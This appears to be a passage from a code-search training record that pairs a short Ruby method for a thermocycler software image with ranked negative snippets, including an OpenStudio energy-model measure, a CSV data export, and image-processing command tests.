|slug|\n\t\t\t\t\t\t\t num = user_session.clicks.count(:conditions => ['url like ?', '%' + slug.name + '%' ])\n\n\t\t\t\t\t\t\t if num > max\n\t\t\t\t\t\t\t\t url_alias = slug.name\n\t\t\t\t\t\t\t\t max = num\n\t\t\t\t\t\t\t end\n\t\t\t\t\t\t end\n\n\t\t\t\t\t\t @url_alias[sid] = url_alias\n\t\t\t\t\t end\n\t\t\t\t else\n\t\t\t\t\t url_alias = self.name\n\t\t\t\t end\n\n\n\t\t\t\t row << ['Hashed IP Address', Digest::MD5.hexdigest([user_session.ip_addr, IP_ADDR_HASH_SALT].join(\"\"))]\n\t\t\t\t row << ['URL Alias', url_alias]\n\t\t\t\t if current_user.admin?\n\t\t\t\t row << ['Geolocation Info', user_session.loc_info.to_s]\n\t\t\t\t end\n\t\t\t end\n\t\t\t end\n\t\t\t csv << row\n\n\t\t\t end\n\t\t end\n\t end\n\t \n\t File.send_at(3.days.from_now, :delete, dest_filename)\n\t url = \"/system/exports/#{self.question_id}/#{File.basename(dest_filename)}\"\n\t ::IdeaMailer.deliver_export_data_ready(email, url, @photocracy)\n\n\t dest_filename\n end", "def run_name_path(num, run)\n se = Sequence_event.new(run)\n des = \"/stornext/snfs#{num}/next-gen/solid/results\"\n if !File.directory?(des)\n Helpers::log(\"snfs#{num} does not exist. exiting..\", 1)\n end\n\n des + \"/\" + @machine + \"/\" + se.year + \"/\" + se.month +\n \"/\" + se.rname\n end", "def run(workspace, runner, user_arguments)\r\n super(workspace, runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(workspace), user_arguments)\r\n return false\r\n end\r\n \r\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\r\n if run_measure == 0\r\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\r\n return true \r\n end\r\n \r\n require 'json'\r\n \r\n # Get the last openstudio model\r\n model = runner.lastOpenStudioModel\r\n if model.empty?\r\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\r\n return false\r\n end\r\n model = model.get\r\n \r\n results = {}\r\n #get all DX coils in model\r\n dx_single = model.getCoilCoolingDXSingleSpeeds \r\n dx_two = model.getCoilCoolingDXTwoSpeeds\r\n \r\n if !dx_single.empty?\r\n dx_single.each do |dx|\r\n dx_name = {}\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP.get}\")\r\n dx.setRatedCOP(OpenStudio::OptionalDouble.new(7.62))\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP.get}\")\r\n dx_name[:dxname] = \"#{dx.name.get}\"\r\n results[\"#{dx.name.get}\"] = dx_name\r\n end\r\n end\r\n if !dx_two.empty?\r\n dx_two.each do |dx|\r\n dx_name = {}\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial High COP: #{dx.ratedHighSpeedCOP.get} Low COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx.setRatedHighSpeedCOP(7.62)\r\n dx.setRatedLowSpeedCOP(7.62)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final High COP: #{dx.ratedHighSpeedCOP.get} Final COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx_name[:dxname] = \"#{dx.name.get}\"\r\n results[\"#{dx.name.get}\"] = dx_name\r\n end\r\n end\r\n \r\n if results.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n end\r\n \r\n #save airloop parsing results to ems_results.json\r\n runner.registerInfo(\"Saving ems_results.json\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_results.json\")) unless Dir.exist?(File.dirname(\"ems_results.json\"))\r\n File.open(\"ems_results.json\", 'w') {|f| f << JSON.pretty_generate(results)}\r\n \r\n if results.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n #save blank ems_membrane_heat_pump_cooling_only.ems file so Eplus measure does not crash\r\n ems_string = \"\"\r\n runner.registerInfo(\"Saving blank ems_membrane_heat_pump_cooling_only file\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\r\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\r\n f.write(ems_string)\r\n end\r\n return true\r\n end\r\n \r\n timeStep = model.getTimestep.numberOfTimestepsPerHour\r\n \r\n runner.registerInfo(\"Making EMS string for Membrane Heat Pump Cooling Only\")\r\n #start making the EMS code\r\n ems_string = \"\" #clear out the ems_string\r\n ems_string << \"\\n\" \r\n ems_string << \"Output:Variable,*,Cooling Coil Sensible Cooling Energy,timestep; !- HVAC Sum [J]\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n \r\n results.each_with_index do |(key, value), i| \r\n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}SensibleClgJ,\" + \"\\n\"\r\n ems_string << \" #{value[:dxname]},\" + \"\\n\"\r\n ems_string << \" Cooling Coil Sensible Cooling Energy;\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"WaterUse:Equipment,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUse, !- Name\" + \"\\n\"\r\n ems_string << \" Membrane HP Cooling, !- End-Use Subcategory\" + \"\\n\"\r\n ems_string << \" 0.003155, !- Peak Flow Rate {m3/s} = 3000 gal/hr\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule; !- Flow Rate Fraction Schedule Name\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"Schedule:Constant,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule, !- Name\" + \"\\n\"\r\n ems_string << \" , !- Schedule Type Limits Name\" + \"\\n\"\r\n ems_string << \" 1; !- Hourly Value\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"EnergyManagementSystem:Actuator,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseCtrl,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule,\" + \"\\n\"\r\n ems_string << \" Schedule:Constant,\" + \"\\n\"\r\n ems_string << \" Schedule Value;\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n end\r\n ems_string << \"EnergyManagementSystem:ProgramCallingManager,\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgramControl, !- Name\" + \"\\n\"\r\n ems_string << \" AfterPredictorBeforeHVACManagers, !- EnergyPlus Model Calling Point\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgram; !- Program Name 1\" + \"\\n\"\r\n ems_string << \"\\n\"\r\n ems_string << \"EnergyManagementSystem:Program,\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgram, !- Name\" + \"\\n\"\r\n ems_string << \" SET TimeStepsPerHr = #{timeStep}\" + \"\\n\"\r\n results.each_with_index do |(key, value), i|\r\n ems_string << \" SET MembraneHP#{i+1}SensibleClgTonHr = MembraneHP#{i+1}SensibleClgJ * 0.0000007898,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGal = MembraneHP#{i+1}SensibleClgTonHr * 3.0,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGalPerHr = MembraneHP#{i+1}SensibleWtrGal * TimeStepsPerHr,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}WaterUseCtrl = MembraneHP#{i+1}SensibleWtrGalPerHr / 3000.0,\" + \"\\n\"\r\n end \r\n ems_string << \" SET UnusedLine = 0;\" + \"\\n\"\r\n \r\n #save EMS snippet\r\n runner.registerInfo(\"Saving ems_membrane_heat_pump_cooling_only file\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\r\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\r\n f.write(ems_string)\r\n end\r\n \r\n #unique initial conditions based on\r\n runner.registerInitialCondition(\"The building has #{results.size} DX coils for which this measure is applicable.\")\r\n\r\n #reporting final condition of model\r\n runner.registerFinalCondition(\"The efficiency of the following coils was increased to SEER 26 to reflect the replacement of these coils with membrane heatpumps: #{results.keys}\")\r\n \r\n ems_path = '../MembraneHeatPumpCoolingOnlyEms/ems_membrane_heat_pump_cooling_only.ems'\r\n json_path = '../MembraneHeatPumpCoolingOnlyEms/ems_results.json'\r\n if File.exist? ems_path\r\n ems_string = File.read(ems_path)\r\n if File.exist? json_path\r\n json = JSON.parse(File.read(json_path))\r\n end\r\n else\r\n ems_path2 = Dir.glob('../../**/ems_membrane_heat_pump_cooling_only.ems')\r\n ems_path1 = ems_path2[0]\r\n json_path2 = Dir.glob('../../**/ems_results.json')\r\n json_path1 = json_path2[0]\r\n if ems_path2.size > 1\r\n runner.registerWarning(\"more than one ems_membrane_heat_pump_cooling_only.ems file found. Using first one found.\")\r\n end\r\n if !ems_path1.nil? \r\n if File.exist? ems_path1\r\n ems_string = File.read(ems_path1)\r\n if File.exist? json_path1\r\n json = JSON.parse(File.read(json_path1))\r\n else\r\n runner.registerError(\"ems_results.json file not located\") \r\n end \r\n else\r\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\")\r\n end \r\n else\r\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\") \r\n end\r\n end\r\n if json.nil?\r\n runner.registerError(\"ems_results.json file not located\")\r\n return false\r\n end\r\n \r\n if json.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n return true\r\n end\r\n \r\n idf_file = OpenStudio::IdfFile::load(ems_string, 'EnergyPlus'.to_IddFileType).get\r\n runner.registerInfo(\"Adding EMS code to workspace\")\r\n workspace.addObjects(idf_file.objects)\r\n \r\n return true\r\n\r\n end" ]
[ "0.6492593", "0.5956255", "0.55697757", "0.5546272", "0.5504028", "0.546954", "0.5425705", "0.54102397", "0.5407541", "0.5350876", "0.5330845", "0.5322113", "0.5316655", "0.52645886", "0.5239193", "0.5228244", "0.5185301", "0.5158852", "0.5106913", "0.5087722", "0.5075559", "0.5068524", "0.5061838", "0.504774", "0.5035719", "0.5034864", "0.5019579", "0.5016855", "0.49902776", "0.4972319", "0.49441466", "0.4926882", "0.4925739", "0.491506", "0.49078757", "0.49059126", "0.4901111", "0.49009708", "0.4897368", "0.48860216", "0.4882556", "0.48725337", "0.4869864", "0.4858699", "0.48437017", "0.48435956", "0.48391342", "0.48382467", "0.48355994", "0.4827849", "0.48272768", "0.4824912", "0.48199835", "0.48181468", "0.4814234", "0.48116764", "0.4804721", "0.47960258", "0.47958797", "0.47886017", "0.47772858", "0.47699994", "0.47609743", "0.47572333", "0.4756059", "0.47513703", "0.47428423", "0.47365806", "0.47359845", "0.47356993", "0.47326005", "0.4725894", "0.47193456", "0.47152174", "0.47133884", "0.47074243", "0.47043237", "0.47012034", "0.47001278", "0.4698766", "0.4696864", "0.4696864", "0.46892077", "0.4687954", "0.46865648", "0.46848416", "0.4683671", "0.46814936", "0.46802115", "0.4674869", "0.46720067", "0.4671877", "0.4669998", "0.46673042", "0.46671802", "0.46654317", "0.4665182", "0.46620366", "0.46607056" ]
0.58852
3
Image Methods These probably should NOT be overridden in the concrete classes Image for launching the software that controls the thermocycler
def open_software_image image_path(image_name: params[:open_software_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def software_image\n super\n end", "def reboot\n img = ['blue_flower', 'red_flower', 'white_flower', 'pink_flower'].sample\n @image = Gosu::Image.new window, 'images/flowers/' + img +'.png', true\n @drawing = true\n end", "def software_image_list\n super\n end", "def main\n ImageManip::inspect_image(@image_path)\n dimensions = ImageManip::get_dimensions(@image_path)\n sharp_pixels = get_accidental_pixels(@sharp_path)\n flat_pixels = get_accidental_pixels(@flat_path)\n edits = Hash.new\n edits[:lower_left] = [dimensions[0] / 2, dimensions[1] / 2]\n edits[:rgb_array] = sharp_pixels\n ImageManip::draw_2D_object(@image_path, './new_staff.gif', edits)\n edits[:lower_left] = [dimensions[0] / 3, dimensions[1] / 3]\n edits[:rgb_array] = flat_pixels\n ImageManip::draw_2D_object('./new_staff.gif', './new_staff.gif', edits)\n end", "def execImage(img)\n @window = img[1]\n if !img[2]\n\n if @window.child.children[0].child != nil\n @window.child.children[0].remove(@window.child.children[0].child)\n end\n @window.child.children[0].child = (Gtk::Image.new(:file =>img[0]))\n @window.child.children[0].child.show_all\n\n @window.child.children[0].signal_connect(\"button_press_event\"){\n @window.hide\n Gtk.main_quit\n }\n\n @window.show_all\n Gtk.main\n\n else\n Gtk.main_quit\n end\n end", "def draw_imgui\n\n\t\tend", "def image; end", "def monitor; tab.image(:name, 'imgMonitor'); end", "def graphicsmagick?; end", "def images; end", "def img(*) # :nodoc:\n raise \"no!\"\n end", "def cntrl_settg; det.image(:id, 'imgCtrlSettings'); end", "def initialize(actor)\n super(Combo_Window_Settings[0], Combo_Window_Settings[1], Combo_Window_Settings[2], Combo_Window_Settings[3])\n self.contents = Bitmap.new(width - 32, height - 32)\n self.z = 4000\n @combo_page = 0\n @max_size = ((self.width - 32) / 52).to_i\n if Combo_Window_Bg != nil\n @background_image = Sprite.new\n @background_image.bitmap = RPG::Cache.windowskin(Combo_Window_Bg)\n @background_image.x = self.x + Combo_Window_Bg_Postion[0]\n @background_image.y = self.y + Combo_Window_Bg_Postion[1]\n @background_image.z = self.z - 1\n @background_image.visible = self.visible\n end\n self.back_opacity = Combo_Window_Settings[4]\n self.opacity = Combo_Window_Settings[4] if Combo_Window_Settings[5] \n @actor = actor\n create_input_images if Input_Images\n refresh\n end", "def imagemagick?; end", "def allow(_image)\n puts \" +++ If you're seeing this, #{self.class.name}.#{__method__} was not overridden\"\n end", "def image\n end", "def image\n end", "def afterimage\n super || @battler.afterimage rescue false\n end", "def generate_wd_images rname=nil\n return {} unless rname\n \n start_time = Time.now\n \n @selected_room_name = rname\n @room_name = @selected_room_name.gsub('#', '_')\n # rinfo \"Starting Image generation : %s\"%(@selected_room_name)\n\n #Pre Operation things\n exception_raised = false\n #-----------Get previous stuffs--------------------------\n curr_active_layer = Sketchup.active_model.active_layer\n edge_render_option = Sketchup.active_model.rendering_options[\"EdgeColorMode\"]\n active_camera = Sketchup.active_model.active_view.camera\n cam_perspective = Sketchup.active_model.active_view.camera.perspective?\n unit_display = Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]\n\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=true\n Sketchup.active_model.active_view.camera.perspective=false\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = 0\n \n begin\n # puts \"--------------------------hide\"\n Sketchup::active_model::start_operation \"RIO Image Generation\"\n DP::hide_all_entities\n\n view_details_h = get_floor_view_comps\n \n view_details_h[\"top_view\"] = {:top_room_image => get_top_room_image}\n rescue Exception => e\n # rerror \"Exception raised during image generation\"\n raise e\n Sketchup.active_model.abort_operation\n exception_raised = true\n ensure\n DP::unhide_all_entities\n\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = edge_render_option\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=unit_display\n Sketchup.active_model.active_view.camera=active_camera\n Sketchup.active_model.active_view.camera.perspective=cam_perspective\n Sketchup.active_model.active_view.zoom_extents\n Sketchup.active_model.commit_operation\n end\n\n end_time = Time.now\n # puts \"Time taken : #{end_time - start_time}\"\n result = exception_raised ? {} : view_details_h\n end", "def imagemagick7?; end", "def image\n\n end", "def test02()\n sourceImage = File.join($directory, \"images/test002image.jpg\")\n begin \n # Create the list of commands object, ready to have commands added to it.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # 1. Create image importer\n importerName = SecureRandom.uuid\n imageImporterObject = theCommands.make_createimporter(sourceImage,\n name: importerName, addtocleanup: false)\n\n # 2. Create bitmap context.\n imageSize = MIShapes.make_size(336, 600)\n destRect = MIShapes.make_rectangle(size: imageSize)\n bitmapObject = theCommands.make_createbitmapcontext(size: imageSize)\n \n # 3. Draw the image in the image collection to the window context.\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject)\n drawImageElement.destinationrectangle = destRect\n drawElementCommand = CommandModule.make_drawelement(bitmapObject,\n drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n\n # 4. Assign to the image collection an image generated from the bitmap context\n imageId = SecureRandom.uuid\n assignBitmapImageCommand = CommandModule.make_assignimage_tocollection(\n bitmapObject, identifier: imageId)\n theCommands.add_command(assignBitmapImageCommand)\n\n # 5. Create window context.\n winRect = MIShapes.make_rectangle(origin: { x: 100, y: 50 },\n size: imageSize)\n windowObject = theCommands.make_createwindowcontext(rect: winRect,\n addtocleanup: false)\n \n # 6. Draw the image in the image collection to the window context.\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagecollection_imagesource(identifier: imageId)\n drawImageElement.destinationrectangle = destRect\n \n drawElementCommand = CommandModule.make_drawelement(\n windowObject, drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n # 7 will happen here in the cleanup commands.\n Smig.perform_commands(theCommands)\n \n # 8. Attempt to draw the image from collection again to window context.\n # The first lot of commands to be run have run. I've split up the performing\n # of commands so that we get to see the content actually drawn to the window.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n theCommands.add_command(drawElementCommand)\n \n # 9. Remove the image from the image collection\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId)\n theCommands.add_command(removeCommand)\n Smig.perform_commands(theCommands)\n \n # 10. Now attempt to draw the image again and catch the error.\n begin\n Smig.perform_command(drawElementCommand)\n puts \"We shouldn't get here as perform command should have an exception\"\n puts \"File: #{$filename}, Line: #{__LINE__}\"\n rescue\n end\n\n # 11. Assign to the image colection an image generated from the image importer.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n imageId2 = SecureRandom.uuid\n assignImageCommand = CommandModule.make_assignimage_fromimporter_tocollection(\n imageImporterObject, imageindex: 0, identifier: imageId2)\n theCommands.add_command(assignImageCommand)\n\n # 12. Draw the new image in the image collection to the window object\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagecollection_imagesource(identifier: imageId2)\n drawImageElement.destinationrectangle = destRect\n \n drawElementCommand = CommandModule.make_drawelement(\n windowObject, drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n Smig.perform_commands(theCommands)\n \n # 13. Close the image importer after creating a new command list.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n closeCommand = CommandModule.make_close(imageImporterObject)\n theCommands.add_command(closeCommand)\n \n # 14. Draw the image in the image collection to window object again.\n theCommands.add_command(drawElementCommand)\n \n # 15. Remove the image from the image collection.\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId2)\n theCommands.add_command(removeCommand)\n \n Smig.perform_commands(theCommands)\n\n # 16. Attempt to draw the removed image again, and catch failure.\n begin\n Smig.perform_command(drawElementCommand)\n puts \"We shouldn't get here as perform command should have an exception\"\n puts \"File: #{$filename}, Line: #{__LINE__}\"\n rescue\n end\n\n # 17. Assign an image from the window context to the image collection.\n imageId3 = SecureRandom.uuid\n assignCommand = CommandModule.make_assignimage_tocollection(windowObject,\n identifier: imageId3)\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n theCommands.add_command(assignCommand)\n \n # 18. Now close the window context.\n theCommands.add_command(CommandModule.make_close(windowObject))\n \n # 19. Now remove the image from the image collection.\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId2)\n theCommands.add_command(removeCommand)\n Smig.perform_commands(theCommands)\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n end\nend", "def set_img\n\n end", "def cur_image\n self\n end", "def image\n end", "def image\n end", "def S(args)\n puts \"\\n=>\\n\"\n @image.show\n end", "def background; end", "def main_spriteset ; end", "def start\n super\n if VICTORY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(VICTORY_CONFIG::IMAGE_BG)\n @bg.opacity = VICTORY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 0, 640, 56, Vocab::victory_help_text)\n @help_window.cText.align = 1\n @help_window.cText.font.bold = true\n # Refresh for the text alignment\n @help_window.refresh()\n\n if VICTORY_CONFIG::DIVIDE_EXP\n exp_by_actor = (@exp / $game_party.members.size).to_i\n else\n exp_by_actor = @exp\n end\n \n @actor_remaining_exp = []\n @victory_char_info_windows = []\n @victory_new_skill_windows = []\n @victory_level_up_windows = []\n for i in 0 .. $game_party.members.size-1 \n actor_exp = ActorExp.new(exp_by_actor, determine_tick($game_party.members[i].next_exp, exp_by_actor))\n @actor_remaining_exp.push(actor_exp)\n \n if i%2 == 0 \n x = -320\n else\n x = 640\n end\n victory_char_info_window = Window_Victory_Char_Info.new(x, (i/2).to_i*128+168, 320, 128, $game_party.members[i])\n victory_char_info_window.active = false\n @victory_char_info_windows.push(victory_char_info_window)\n\n victory_new_skill_window = Window_Victory_New_Skill.new((i%2)*320, (i/2).to_i*128+168+128-56, 320, 56, nil)\n victory_new_skill_window.active = false\n victory_new_skill_window.visible = false\n @victory_new_skill_windows.push(victory_new_skill_window)\n\n victory_level_up_window = Window_Victory_Level_Up.new((i%2)*320+200, (i/2).to_i*128+168, 120, 56)\n victory_level_up_window.active = false\n victory_level_up_window.visible = false\n victory_level_up_window.opacity = 0\n @victory_level_up_windows.push(victory_level_up_window)\n end\n\n @victory_item_window = Window_Victory_Item.new(160, 488, 320, 256, @drop_items)\n @victory_item_window.active = false\n @victory_item_window.visible = false\n\n @exp_window = Window_Victory_Exp.new(20, 83, 300, 56, @exp)\n @gold_window = Window_Victory_Gold.new(320, 83, 300, 56, @gold)\n\n [@help_window, @victory_item_window, @exp_window, @gold_window]+\n @victory_char_info_windows+@victory_new_skill_windows.each{\n |w| w.opacity = VICTORY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = VICTORY_CONFIG::WINDOW_BACK_OPACITY\n }\n \n end", "def setup\n size 200, 200\n @a = load_image 'construct.jpg'\n @b = load_image 'wash.jpg'\n @offset = 0.0\nend", "def test02()\n begin\n tempFile = nil\n baseImageName = \"DSCN0749-Bloom.jpg\"\n inputImageFile = File.join($directory, \"images/DSCN0749.JPG\")\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n objectName = SecureRandom.uuid\n makeImporterCommand = CommandModule.make_createimporter(inputImageFile,\n name: objectName)\n importerObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: objectName)\n theCommands.add_command(makeImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(importerObject)\n \n objectName = SecureRandom.uuid\n imageDims = SpotlightCommand.get_imagedimensions(inputImageFile)\n makeWindowContextCommand = CommandModule.make_createwindowcontext(\n width: imageDims[:width],\n height: imageDims[:height],\n borderlesswindow: true,\n name: objectName)\n windowObject = SmigIDHash.make_objectid(objecttype: :nsgraphicscontext,\n objectname: objectName)\n theCommands.add_command(makeWindowContextCommand)\n theCommands.add_tocleanupcommands_closeobject(windowObject)\n drawImageElement = MIDrawImageElement.new\n drawImageElement.set_imagefile_imagesource(source_object: importerObject,\n imageindex: 0)\n imageDims = SpotlightCommand.get_imagedimensions(inputImageFile)\n destRect = MIShapes.make_rectangle(size: imageDims)\n drawImageElement.destinationrectangle = destRect\n drawElementCommand = CommandModule.make_drawelement(windowObject,\n drawinstructions: drawImageElement)\n theCommands.add_command(drawElementCommand)\n filterChain = MIFilterChain.new(windowObject)\n \n filter = MIFilter.new(:CIBloom)\n radiusProperty = MIFilterProperty.make_cinumberproperty(key: :inputRadius,\n value: 20.0)\n filter.add_property(radiusProperty)\n intensityProperty = MIFilterProperty.make_cinumberproperty(\n key: :inputIntensity, value: 0.6)\n filter.add_property(intensityProperty)\n importerObject[:imageindex] = 0\n inputImageProp= MIFilterProperty.make_ciimageproperty(value: importerObject)\n filter.add_property(inputImageProp)\n filterChain.add_filter(filter)\n filterChainObjectName = SecureRandom.uuid\n filterChainObject = SmigIDHash.make_objectid(objecttype: :imagefilterchain,\n objectname: filterChainObjectName)\n makeFilterChainCommand = CommandModule.make_createimagefilterchain(\n filterChain,\n name: filterChainObjectName)\n theCommands.add_command(makeFilterChainCommand)\n theCommands.add_tocleanupcommands_closeobject(filterChainObject)\n renderFilterChain = MIFilterChainRender.new\n theRect = MIShapes.make_rectangle(xloc: \"0.25 * $imagewidth\",\n yloc: \"0.33 * $imageheight\",\n width: \"0.5 * $imagewidth\",\n height: \"0.4 * $imageheight\")\n variables = { :imagewidth => imageDims[:width],\n :imageheight => imageDims[:height] }\n renderFilterChain.sourcerectangle = theRect\n renderFilterChain.destinationrectangle = theRect\n# renderFilterChain.variables = variables\n makeRenderFilterChainCommand = CommandModule.make_renderfilterchain(\n filterChainObject, renderinstructions: renderFilterChain,\n createimage: true)\n theCommands.add_command(makeRenderFilterChainCommand)\n theCommands.variables = variables\n exporterName = SecureRandom.uuid\n pathtofile = File.join(Dir.tmpdir(), baseImageName)\n createExporterCommand = CommandModule.make_createexporter(pathtofile,\n export_type: :\"public.jpeg\",\n name: exporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: exporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(exporterObject, \n windowObject, imageindex: 0)\n theCommands.add_command(addImageToExporterCommand)\n exportCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportCommand)\n Smig.perform_commands(theCommands)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 3)\n # 10. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \"Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n end\nend", "def distro_dispatch\n end", "def control; tab.image(:name, 'imgControl'); end", "def logo; end", "def logo; end", "def cntrl_cmnd; det.image(:id, 'imgCtrlCommands'); end", "def test04()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage2.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n importerName = SecureRandom.uuid\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n windowContextName = SecureRandom.uuid\n createWindowContextCommand = CommandModule.make_createwindowcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: windowContextName)\n windowContextObject = SmigIDHash.make_objectid(\n objecttype: :nsgraphicscontext,\n objectname: windowContextName)\n theCommands.add_command(createWindowContextCommand)\n theCommands.add_tocleanupcommands_closeobject(windowContextObject)\n\n # Need to initialize the window to having a white background.\n windowRect = MIShapes.make_rectangle(size: imageDimensions,\n origin: { :x => 0, :y => 0 } )\n whiteColor = MIColor.make_rgbacolor(1.0, 1.0, 1.0)\n drawBackgroundElement = MIDrawElement.new(:fillrectangle)\n drawBackgroundElement.rectangle = windowRect\n drawBackgroundElement.fillcolor = whiteColor\n \n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n affineTransform = MITransformations.make_affinetransform(\n m11: 0.707, m12: 0.707, m21: -0.707,\n m22: 0.707, tX: 373.74, tY: -221.29)\n drawImageElement.affinetransform = affineTransform\n drawElements = MIDrawElement.new(:arrayofelements)\n drawElements.add_drawelement_toarrayofelements(drawBackgroundElement)\n drawElements.add_drawelement_toarrayofelements(drawImageElement)\n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(windowContextObject,\n drawinstructions: drawElements)\n theCommands.add_command(drawCommand)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, windowContextObject)\n 